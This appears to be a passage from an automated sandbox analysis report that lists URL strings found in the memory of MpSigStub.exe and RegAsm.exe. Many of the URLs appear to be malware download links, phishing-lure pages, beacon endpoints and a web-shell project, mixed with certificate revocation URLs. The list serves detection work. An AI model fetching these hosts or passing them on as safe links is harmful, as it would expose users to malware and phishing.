        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://ca.mtin.es/mtin/DPCyPoliticas0
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://ca.mtin.es/mtin/DPCyPoliticas0g
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://ca.mtin.es/mtin/crl/MTINAutoridadRaiz03
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://ca.mtin.es/mtin/ocsp0
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://caferestaurantnador.com/wp-includes/0onjp/
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://calastargate.net/y82rtzbz.php?id=1484429
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://calendar.cjishu.com/index.php
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://californianlondon.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://calleveinte.com.mx/ups-quantum-view
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://calux123.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://camaraquiterianopolis.ce.gov.br/rechnung/
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://canadahalalec.com/b685cf9fdc885f90abbb39b13022d1c4.php?q=
        Source: MpSigStub.exe, 00000023.00000003.18283369164.0000015B1BBD8000.00000004.00000001.sdmpString found in binary or memory: http://canonicalizer.ucsuri.tcs/(%w%w
        Source: MpSigStub.exe, 00000023.00000003.18303772420.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://canonicalizer.ucsuri.tcs/3
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://capers07.ivory.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://capsnit.com
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: http://captinads.com/oldtest/page.php
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://care-indonesia.org/open-invoices/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://cargohl.com/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://carrentalhelp.org/cd/cd.php?id=%s&ver=ig1
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://carrythelamp.net?
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://carsgirlssexy.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://cashbackmoa.co.kr/reward.php?name=%s&userid=%s&macaddr=%s&orgaddr=%s
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://casinotropez.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://cassia89.orange.ero0101.com/set_inf.php?id=ero257.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://cassia89.orange.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://catatanerwin.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://catatanfarhans.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://catell.ru/set.js
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://cbadenoche.com
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://cbl.toolbar4free.com/cgi-bin/s.exe
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://cc.advancedpccare.com/wcfCountryPricing/countrypricing.svc/GetCountryCode
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://ccc.avn12.cn/ccc/qqqccc/post.asp?i=77
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://ccdelsur.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmpString found in binary or memory: http://ccfairy.com/
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://cdeinaa.com/sm.php
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://cdeinaa.com/sm.php?pizda1=%d
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://cdn.ap.bittorrent.com/control/tags/
        Source: MpSigStub.exe, 00000023.00000003.18307074601.0000015B1AA4C000.00000004.00000001.sdmpString found in binary or memory: http://cdn.chatcdn.net
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://cdn.che.moe/ymufnn.exe
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://cdn.gigaclicks.net/file.php?supp=126
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://cdn.gigaclicks.net/file.php?supp=130
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://cdn.montiera.com/mntr/cmn/addonmsg.htmx
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://cdn.zry97.com/youxi
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://cdn.zry97.com/youxi/index_x
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://cdsa.xyz
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://ceaircelle76.org/2.php?configklvar=1
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://cekirdekinanc.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://celebrity-nude-fuck.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://celebritybeefcake.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://celebs21mangap.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://centralcarqocn.com/fax/fe.doc
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://cert.beahh.com/cert.php
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://chambahistory.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://checkip.dyndns.org
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpString found in binary or memory: http://checkip.dyndns.org/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://chemgioaz.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://chistepordia.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://chiuwes.com//kemu.exe
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://chnfsub2manglobalsndy2businessexytwo.duckdns.org/office/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://chu.pe/6xo
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://chutkiraani.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://chuyenquanaotreem.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://cicahroti.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://citw-vol2.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://cjrajan.pw/2/3/4/invoice.docx
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://ckpetchem.com
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://cl.1ck.me/
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://clarityupstate.com/b.ocx
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://clean-pelican.cloudvent.net/dxdae.html)
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://clean.systemerrorfixer.com/MTg1MzE=/2/
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://cleanwebsearch.com/?q=
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://client.aldtop.com
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://client.myadultexplorer.com/bundle_report.cgi?v=10&campaignID=%s&message=%s
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://clientportal.download/123.php
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://clientportal.download/div.php
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://clients.lb1networks.com/upd.php?
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://cloud-search.linkury.com
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://club.book.sina.com.cn/booksearch/booksearch.php?kw=%s
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: http://clubdelaparrilla.cl/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://cn%d.evasi0n.com
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://cnr.org.br/ups-quantum-view
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://coastervilleregalos.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://cock4worship.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://coconut-pete.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://code.google.com/p/b374k-shell
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://coltaddict.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://community.derbiz.com/
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: http://companieshouseonlinedownload.com/ox9.png
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://company.superweb.ws/view/note.exe
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://companyprivatedocumentservershub100000.braddocksrentals.com/commondocs/)
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://computerscience2.com/document-needed/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://config.juezhao123.com/c.ashx?ver=&c=
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://connect.act-sat-bootcamp.com/dana/home.php
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://construtoramistral.com.br/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://consumerinput.com/privacy
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://contentedmerc.xyz/BAYgODA0NUQ2OEY1RTA2ODg4RDhCQzlEQzRBRUU3QTA5OUI=
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpString found in binary or memory: http://continuetosave.info/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://coolwalpaper.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://cooperjcw.xyz/bjsdke.exe
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://corplink.com.pk/wp-content/themes/buisson/16433.jpg
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://costacars.es/ico/ortodox.php
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://count.e-jok.cn/count.txt
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://count.key5188.com/vip/get.asp?mac=
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://countdutycall.info/1/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://countexchange.com/config/line.gif
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://countrtds.ru/tdstrf/index.php
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://cpanel.asimsrl.com/ifk/cat.php
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://cphepiwy.rebatesrule.net/8c40f5b1c5ba53fb.7tnlpjp5selle4?default
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://cpr-foundation.org/library/reportdhlnew.php
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://cpr-foundation.org/reportmaersknew.php
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: http://cprvstd4upcomingtalentanimationauditnyc.duckdns.org/receipt/invoice_112229.doc
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://cpvfeed.mediatraffic.com/feed.php?ac=%s&kw=%s&url=%s&ip=%s&rfo=xml
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://cr-installer-fallback.s3-us-west-2.amazonaws.com/spd/shopp/sense9.exe_a
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://craghoppers.icu/Order.jpg
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
        Source: RegAsm.exe, 00000008.00000003.17610474541.00000000015BF000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://crl.defence.gov.au/pki0
        Source: RegAsm.exe, 00000008.00000003.17610474541.00000000015BF000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://crl.securetrust.com/STCA.crl0
        Source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmpString found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://crocus93.grey.ero0101.com/set_inf.php?id=ero257.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://crxupdate.pw/Crxx/background.js
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://crxupdate.pw/Crxx/flash.xpi
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://cs-skiluj.sanfre.eu/vmjz848148/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://cs.zhongsou.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://cscentralcard.com.br/colors/coffee/report-sfexpress.php
        Source: RegAsm.exe, 00000008.00000002.21904829624.000000001E502000.00000004.00000001.sdmpString found in binary or memory: http://cselegance.com
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://csgo-run.xyz/dl.exe
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://csjksco.com/initial/)
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://csv.posadadesantiago.com/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://cts.hotbar.com/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://cts.hotbar.com/trackedevent.aspx
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://cupid.556677889900.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://cvcviagens.sslblindado.com/documento.rtf
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://cvfanatic.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://cxdlk.esy.es/iej3d1/)
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://cydelink.com/zawww/
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://d.20apoaf.com/xuiow/
        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: http://d.ackng.com/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://d.gameplaylabs.com/ce9237be57719933386c8a88b67bf7a5/install.xml?pid=
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://d.robints.us/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://d.sogou.com/music.so?query=%s
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://d.xmapps.net/i.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://d1.downxia.net/products/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://d1hxtl9znqwejj.cloud
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://d2.3dprotect.net:90/update/?id=%d
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://d2hrpnfyb3wv3k.cloudfront.net
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://d2xpmajse0mo96.cloudfront.net/app/ver/ssl.php
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://d4uk.7h4uk.com/w_case/login.php
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://dafshare-org.eu.paccar.com
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://dailypictur.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://dailytop10tracker.com/important-please-read/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://danielflors.com/question/
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://darling4sil.5gbfree.com/companyprofile.zip
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://data1.yoou8.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://dataoffice.zapto.org
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://dec.ip3366.net/api/?key=20171119174239256&getnum=99999&proxytype=0
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://default.home
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://defaultincoming.mangospot.net/prf/reg.dot
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://delta-akb.ru/image/data/goods/dtm/.../log.php?f=404
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://deluvis.net/
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://demo.sabkura.com/overdue-payment/
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://designte.com/shop?abc=cgdpzd04jni9oc4y
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://det-colors.ru/invoice-number-09203/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://detayworx.com/_vsnpNgyXp84Os8Xh.php
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: http://dev.northzone.it/ds/2312.gif
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://devee.emlnk.com/lt.php?s=b7abe8a8120881cc5c9dab6eac28ddbe&amp;i=1a3a1a
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://device-update.ddns.net
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://device-update.ddns.net-oupdate.exe
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://df20.dot5hosting.com/~shitshir
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://dgdsgweewtew545435.tk
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://dhm-mhn.com/htamandela.hta
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://dialers.netcollex.net/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://dialin.bunm.de/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://dialin.comonline.net/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://dialin.dnibv.com/
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://dialup.carpediem.fr/perl/countdialupinter.pl?
